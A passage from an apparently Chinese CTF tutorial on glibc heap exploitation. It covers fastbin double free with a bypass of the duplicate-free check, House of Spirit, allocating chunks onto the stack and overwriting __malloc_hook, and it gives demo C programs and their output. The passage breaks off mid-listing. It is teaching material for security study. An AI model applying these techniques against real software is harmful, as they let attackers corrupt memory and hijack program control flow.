PWN_堆相关的漏洞与利用38.png"></p><p>此时输出信息：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">Chunk1<span class="token operator">:</span> ptr0 @ <span class="token number">0x602010</span> contains<span class="token operator">:</span> <span class="token number">00000000</span>Chunk2<span class="token operator">:</span> ptr1 @ <span class="token number">0x602050</span> contains<span class="token operator">:</span> <span class="token number">11111111</span>Chunk3<span class="token operator">:</span> ptr2 @ <span class="token number">0x602090</span> contains<span class="token operator">:</span> <span class="token number">22222222</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>首先 <code>free</code> 掉 <code>ptr0</code> 和 <code>ptr1</code>，它们都被置于 <code>fast bin</code> 中：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A839.png" alt="CTF - PWN_堆相关的漏洞与利用39.png"></p><p><code>ptr1</code> 的 <code>fd</code> 指针指向下一个空闲的 <code>chunk</code>，即：<code>ptr0</code> 的地址</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A842.png" alt="CTF - PWN_堆相关的漏洞与利用42.png"></p><blockquote><p>注意：</p><p>在对 <code>ptr0</code> 的 double free 之间，我们穿插了一个 <code>free(ptr1)</code> 的操作，这么做不是毫无根据的，而是为了绕过检测</p><p>因为在不同版本的 <code>malloc</code> 中，可能存在对 double free 的检测：<strong>如果当前被释放的指针与最后一个释放的内存块相同，程序将停止执行</strong></p><p>而 <code>fast bin</code> 在执行 <code>free</code> 的时候仅验证了 <code>main_arena</code> 直接指向的块，即链表指针头部的块，对于链表后面的块，并没有进行验证</p><p>因此，绕过这个检测的方法就是：<strong>在两次释放同一个指针之间释放另一个指针</strong>（但是在 Glibc 2.27 中，它将命中 <code>tcache</code>，就不存在这个问题）</p></blockquote><p>为了实现 double free，我们再次 <code>free</code> 掉 <code>ptr0</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A840.png" alt="CTF - PWN_堆相关的漏洞与利用40.png"></p><p>此时 <code>ptr1</code> 的 <code>fd</code> 指针指向 <code>ptr0</code> 的地址，同时 <code>ptr0</code> 的 <code>fd</code> 指针也指向 <code>ptr1</code> 的地址</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A841.png" alt="CTF - PWN_堆相关的漏洞与利用41.png"></p><p>接下来，我们将分配三个新内存块，大小与我们释放的内存块相同</p><p>执行完 <code>ptr3 = malloc(0x30)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A843.png" alt="CTF - PWN_堆相关的漏洞与利用43.png"></p><p>执行完 <code>ptr4 = malloc(0x30)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A844.png" alt="CTF - PWN_堆相关的漏洞与利用44.png"></p><p>执行完 <code>ptr5 = malloc(0x30)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A845.png" alt="CTF - PWN_堆相关的漏洞与利用45.png"></p><p>向它们写入 <code>data0</code>、<code>data1</code>、<code>data2</code> 的数据，这将使我们得到之前释放的三个内存块</p><p>执行完 <code>memcpy(ptr3, data0, 0x8)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A846.png" alt="CTF - PWN_堆相关的漏洞与利用46.png"></p><p>执行完 <code>memcpy(ptr4, data1, 0x8)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A847.png" alt="CTF - PWN_堆相关的漏洞与利用47.png"></p><p>执行完 <code>memcpy(ptr5, data2, 0x8)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A848.png" alt="CTF - PWN_堆相关的漏洞与利用48.png"></p><p>可以看到，向 <code>ptr5</code> 中写入的数据实际写入到了 <code>chunk4</code> 中</p><p>此时输出信息：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">Chunk4<span class="token operator">:</span> ptr3 @ <span class="token number">0x602010</span> contains<span class="token operator">:</span> <span class="token number">22222222</span>Chunk5<span class="token operator">:</span> ptr4 @ <span class="token number">0x602050</span> contains<span class="token operator">:</span> <span class="token number">11111111</span>Chunk6<span class="token operator">:</span> ptr5 @ <span class="token number">0x602010</span> contains<span class="token operator">:</span> <span class="token number">22222222</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><blockquote><p>到这里可以发现，<strong>由于前面两次释放了同一个指针，现在我们分配到了相同的指针</strong>（因为 <code>malloc</code> 会出于性能提升的原因重用相似大小的已释放内存块）</p></blockquote><p><em>现在我们可以释放指向 <code>chunk4</code> 或 <code>chunk6</code> 的其中一个指针（即：<code>ptr3</code> 或 <code>ptr5</code>），并清除该指针（防止使用释放后的指针），而我们仍然会有一个指针指向同一个内存块，而该内存块现在已被释放</em></p><p><mark>也就是说，我们可以利用 double free 来编辑已释放的内存块</mark></p><p>执行 <code>free(ptr3)</code> 并将 <code>ptr3</code> 置为 NULL 后：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A849.png" alt="CTF - PWN_堆相关的漏洞与利用49.png"></p><p>此时输出信息：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">Chunk4<span class="token operator">:</span> ptr3 @ <span class="token punctuation">(</span>nil<span class="token punctuation">)</span>Chunk6<span class="token operator">:</span> ptr5 @ <span class="token number">0x602010</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>通过 <code>memcpy(ptr5, data3, 0x8)</code> 向 <code>ptr5</code> 写入数据时，<strong>会将数据写入到已经被释放的 <code>chunk4</code> 中</strong></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A850.png" alt="CTF - PWN_堆相关的漏洞与利用50.png"></p><p>此时输出信息：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">Chunk6<span class="token operator">:</span> ptr5 @ <span class="token number">0x602010</span> contains<span class="token operator">:</span> <span class="token number">15935728</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><hr><h2 id="House-Of-Spirit"><a href="#House-Of-Spirit" class="headerlink" title="House Of Spirit"></a>House Of Spirit</h2><blockquote><p>House of Spirit 是 the Malloc Maleficarum 中的一种技术，其核心在于：<strong>在目标位置处伪造 <code>fast bin chunk</code>，并将其释放，从而实现分配指定地址的 <code>chunk</code></strong></p></blockquote><p>要想构造 <code>fast bin fake chunk</code> 并且将其释放时，可以将其放入到对应的 <code>fast bin</code> 链表中，但需要绕过一些必要的检测：</p><ul><li><code>fake chunk</code> 的 <code>ISMMAP</code> 位不能为 1，因为 <code>free</code> 时，如果是 <code>mmap</code> 的 <code>chunk</code>，会单独处理</li><li><code>fake chunk</code> 地址需要对齐，<code>MALLOC_ALIGN_MASK</code></li><li><code>fake chunk</code> 的 <code>size</code> 大小需要满足对应的 <code>fast bin</code> 的需求，同时也得对齐</li><li><code>fake chunk</code> 的 <code>next chunk</code> 的大小不能小于 <code>2 * SIZE_SZ</code>，同时也不能大于 <code>av-&gt;system_mem</code></li><li><code>fake chunk</code> 对应的 <code>fast bin</code> 链表头部不能是该 <code>fake chunk</code>，即不能构成 <code>double free</code> 的情况</li></ul><p>示例：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"This file demonstrates the house of spirit attack.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"Calling malloc() once so that it sets up its memory.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"We will now overwrite a pointer to point to a fake 'fastbin' region.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">unsigned</span> <span class="token keyword">long</span> <span class="token keyword">long</span> <span class="token operator">*</span>a<span class="token punctuation">;</span>    <span class="token comment">// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)</span>    <span class="token keyword">unsigned</span> <span class="token keyword">long</span> <span class="token keyword">long</span> fake_chunks<span class="token punctuation">[</span><span class="token number">10</span><span class="token punctuation">]</span> <span class="token function">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">aligned</span> <span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n"</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>fake_chunks<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>fake_chunks<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>fake_chunks<span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (&lt;= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    fake_chunks<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0x40</span><span class="token punctuation">;</span> <span class="token comment">// this is the size</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) &amp;&amp; &lt; av->system_mem (&lt; 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8</span>    fake_chunks<span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0x1234</span><span class="token punctuation">;</span> <span class="token comment">// nextsize</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n"</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>fake_chunks<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    a <span class="token operator">=</span> <span class="token operator">&amp;</span>fake_chunks<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"Freeing the overwritten pointer.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n"</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>fake_chunks<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>fake_chunks<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"malloc(0x30): %p\n"</span><span class="token punctuation">,</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>运行结果：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">This file demonstrates the house of spirit attack<span class="token punctuation">.</span>Calling <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token punctuation">)</span> once so that it sets up its memory<span class="token punctuation">.</span>We will now overwrite a pointer to point to a fake <span class="token char">'fastbin'</span> region<span class="token punctuation">.</span>This <span class="token function">region</span> <span class="token punctuation">(</span>memory of length<span class="token operator">:</span> <span class="token number">80</span><span class="token punctuation">)</span> contains two chunks<span class="token punctuation">.</span> The first starts at <span class="token number">0x7ffc9e07e6d8</span> <span class="token operator">and</span> the second at <span class="token number">0x7ffc9e07e708.</span>This chunk<span class="token punctuation">.</span>size of <span class="token keyword">this</span> region has to be <span class="token number">16</span> more than the <span class="token function">region</span> <span class="token punctuation">(</span>to accomodate the chunk data<span class="token punctuation">)</span> <span class="token keyword">while</span> still falling into the fastbin <span class="token function">category</span> <span class="token punctuation">(</span><span class="token operator">&lt;=</span> <span class="token number">128</span> on x64<span class="token punctuation">)</span><span class="token punctuation">.</span> The <span class="token function">PREV_INUSE</span> <span class="token punctuation">(</span>lsb<span class="token punctuation">)</span> bit is ignored by free <span class="token keyword">for</span> fastbin<span class="token operator">-</span>sized chunks<span class="token punctuation">,</span> however the <span class="token function">IS_MMAPPED</span> <span class="token punctuation">(</span>second lsb<span class="token punctuation">)</span> <span class="token operator">and</span> <span class="token function">NON_MAIN_ARENA</span> <span class="token punctuation">(</span>third lsb<span class="token punctuation">)</span> bits cause problems<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> note that <span class="token keyword">this</span> has to be the size of the next malloc request rounded to the internal size used by the malloc implementation<span class="token punctuation">.</span> E<span class="token punctuation">.</span>g<span class="token punctuation">.</span> on x64<span class="token punctuation">,</span> <span class="token number">0x30</span><span class="token operator">-</span><span class="token number">0x38</span> will all be rounded to <span class="token number">0x40</span><span class="token punctuation">,</span> so they would work <span class="token keyword">for</span> the malloc parameter at the end<span class="token punctuation">.</span> The chunk<span class="token punctuation">.</span>size of the <span class="token operator">*</span>next<span class="token operator">*</span> fake region has to be sane<span class="token punctuation">.</span> That is <span class="token operator">></span> <span class="token number">2</span><span class="token operator">*</span><span class="token function">SIZE_SZ</span> <span class="token punctuation">(</span><span class="token operator">></span> <span class="token number">16</span> on x64<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">&lt;</span> av<span class="token operator">-></span><span class="token function">system_mem</span> <span class="token punctuation">(</span><span class="token operator">&lt;</span> <span class="token number">128</span>kb by <span class="token keyword">default</span> <span class="token keyword">for</span> the main arena<span class="token punctuation">)</span> to pass the nextsize integrity checks<span class="token punctuation">.</span> No need <span class="token keyword">for</span> fastbin size<span class="token punctuation">.</span>Now we will overwrite our pointer with the address of the fake region inside the fake first chunk<span class="token punctuation">,</span> <span class="token number">0x7ffc9e07e6d8.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> note that the memory address of the <span class="token operator">*</span>region<span class="token operator">*</span> associated with <span class="token keyword">this</span> chunk must be <span class="token number">16</span><span class="token operator">-</span>byte aligned<span class="token punctuation">.</span>Freeing the overwritten pointer<span class="token punctuation">.</span>Now the next malloc will <span class="token keyword">return</span> the region of our fake chunk at <span class="token number">0x7ffc9e07e6d8</span><span class="token punctuation">,</span> which will be <span class="token number">0x7ffc9e07e6e0</span><span class="token operator">!</span><span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token operator">:</span> <span class="token number">0x7ffc9e07e6e0</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>想要使用 House Of Spirit 的技术分配 <code>chunk</code> 到指定地址，其实并不需要修改指定地址的任何内容，<strong>关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测</strong></p></blockquote><hr><h2 id="Alloc-to-Stack"><a href="#Alloc-to-Stack" class="headerlink" title="Alloc to Stack"></a>Alloc to Stack</h2><blockquote><p>该技术的核心点在于劫持 <code>fast bin</code> 链表中 <code>chunk</code> 的 <code>fd</code> 指针，<strong>把 <code>fd</code> 指针指向我们想要分配的栈上，从而实现控制栈中的一些关键数据</strong>，比如：返回地址等，需要栈上存在有满足条件的 <code>size</code> 值</p></blockquote><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">typedef</span> <span class="token keyword">struct</span> <span class="token class-name">_chunk</span><span class="token punctuation">&#123;</span>    <span class="token keyword">long</span> <span class="token keyword">long</span> pre_size<span class="token punctuation">;</span>    <span class="token keyword">long</span> <span class="token keyword">long</span> size<span class="token punctuation">;</span>    <span class="token keyword">long</span> <span class="token keyword">long</span> fd<span class="token punctuation">;</span>    <span class="token keyword">long</span> <span class="token keyword">long</span> bk<span class="token punctuation">;</span><span class="token punctuation">&#125;</span> CHUNK<span class="token punctuation">,</span> <span class="token operator">*</span>PCHUNK<span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    CHUNK stack_chunk<span class="token punctuation">;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>chunk1<span class="token punctuation">;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>chunk_a<span class="token punctuation">;</span>    stack_chunk<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x21</span><span class="token punctuation">;</span>    chunk1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>chunk1<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">long</span> <span class="token keyword">long</span> <span class="token operator">*</span><span class="token punctuation">)</span> chunk1 <span class="token operator">=</span> <span class="token operator">&amp;</span>stack_chunk<span class="token punctuation">;</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    chunk_a <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>这次我们把 <code>fake_chunk</code> 置于栈中称为 <code>stack_chunk</code></p><p>同时劫持了 <code>fast bin</code> 链表中 <code>chunk</code> 的 <code>fd</code> 值，通过把这个 <code>fd</code> 值指向 <code>stack_chunk</code> 就可以实现在栈中分配 <code>fast bin chunk</code></p></blockquote><p>执行 <code>*(long long *)chunk1=&amp;stack_chunk</code> 后，<code>chunk1</code> 的 <code>fd</code> 指针指向了 <code>stack_chunk</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A852.png" alt="CTF - PWN_堆相关的漏洞与利用52.png"></p><p>第一次执行 <code>malloc</code> 使得 <code>fast bin</code> 链表指向了 <code>stack_chunk</code>，这意味着下一次分配会使用 <code>stack_chunk</code> 的内存进行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A853.png" alt="CTF - PWN_堆相关的漏洞与利用53.png"></p><p>可以看到第二次执行 <code>malloc</code> 的返回值 RAX 为 0x7fffffffdc80，也就是 <code>stack_chunk</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A854.png" alt="CTF - PWN_堆相关的漏洞与利用54.png"></p><p><code>stack_chunk</code> 的地址在栈上，而不在堆上：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A855.png" alt="CTF - PWN_堆相关的漏洞与利用55.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A856.png" alt="CTF - PWN_堆相关的漏洞与利用56.png"></p><hr><h2 id="Arbitrary-Alloc"><a href="#Arbitrary-Alloc" class="headerlink" title="Arbitrary Alloc"></a>Arbitrary Alloc</h2><blockquote><p>Arbitrary Alloc 其实与 Alloc to stack 是完全相同的，唯一的区别是<strong>分配的目标不再是栈中</strong></p><p>Arbitrary Alloc 在 CTF 中使用更加频繁，我们可以利用字节错位等方法来绕过 <code>size</code> 域的检验，实现任意地址分配 <code>chunk</code>，最后的效果也就相当于<strong>任意地址写任意值</strong></p></blockquote><p>实际上，只要满足目标地址存在合法的 <code>size</code> 域（这个 <code>size</code> 域是构造的，还是自然存在的都无妨），我们可以把 <code>chunk</code> 分配到任意的可写内存中，比如：<code>bss</code>、<code>heap</code>、<code>data</code>、<code>stack</code> 等等</p><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>chunk1<span class="token punctuation">;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>chunk_a<span class="token punctuation">;</span>    chunk1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x60</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>chunk1<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">long</span> <span class="token keyword">long</span> <span class="token operator">*</span><span class="token punctuation">)</span> chunk1 <span class="token operator">=</span> <span class="token number">0x7ffff7dd1af5</span> <span class="token operator">-</span> <span class="token number">0x8</span><span class="token punctuation">;</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x60</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    chunk_a <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x60</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>在这个例子中，我们使用字节错位来实现直接分配 <code>fast bin</code> 到 <code>__malloc_hook</code> 的位置，相当于覆盖 <code>__malloc_hook</code> 来控制程序流程</p></blockquote><p>上述代码中的 <code>0x7ffff7dd1af5</code> 是根据本机的情况得出的值，想要得到这个值，首先我们要观察欲写入地址 <code>__malloc_hook</code> 附近是否存在可以字节错位的情况</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A857.png" alt="CTF - PWN_堆相关的漏洞与利用57.png"></p><p>图中 <code>0x7ffff7dd1b10</code> 是我们想要控制的 <code>__malloc_hook</code> 的地址，于是我们向上寻找是否可以错位出一个合法的 <code>size</code> 域。因为这是个 64 位程序，因此 <code>fast bin</code> 的范围为 32 字节到 128 字节 (<code>0x20 - 0x80</code>)</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">//这里的 size 指用户区域，因此要小 2 倍 SIZE_SZ</span>Fastbins<span class="token punctuation">[</span>idx<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">,</span> size<span class="token operator">=</span><span class="token number">0x10</span><span class="token punctuation">]</span>Fastbins<span class="token punctuation">[</span>idx<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span> size<span class="token operator">=</span><span class="token number">0x20</span><span class="token punctuation">]</span>Fastbins<span class="token punctuation">[</span>idx<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">,</span> size<span class="token operator">=</span><span class="token number">0x30</span><span class="token punctuation">]</span>Fastbins<span class="token punctuation">[</span>idx<span class="token operator">=</span><span class="token number">3</span><span class="token punctuation">,</span> size<span class="token operator">=</span><span class="token number">0x40</span><span class="token punctuation">]</span>Fastbins<span class="token punctuation">[</span>idx<span class="token operator">=</span><span class="token number">4</span><span class="token punctuation">,</span> size<span class="token operator">=</span><span class="token number">0x50</span><span class="token punctuation">]</span>Fastbins<span class="token punctuation">[</span>idx<span class="token operator">=</span><span class="token 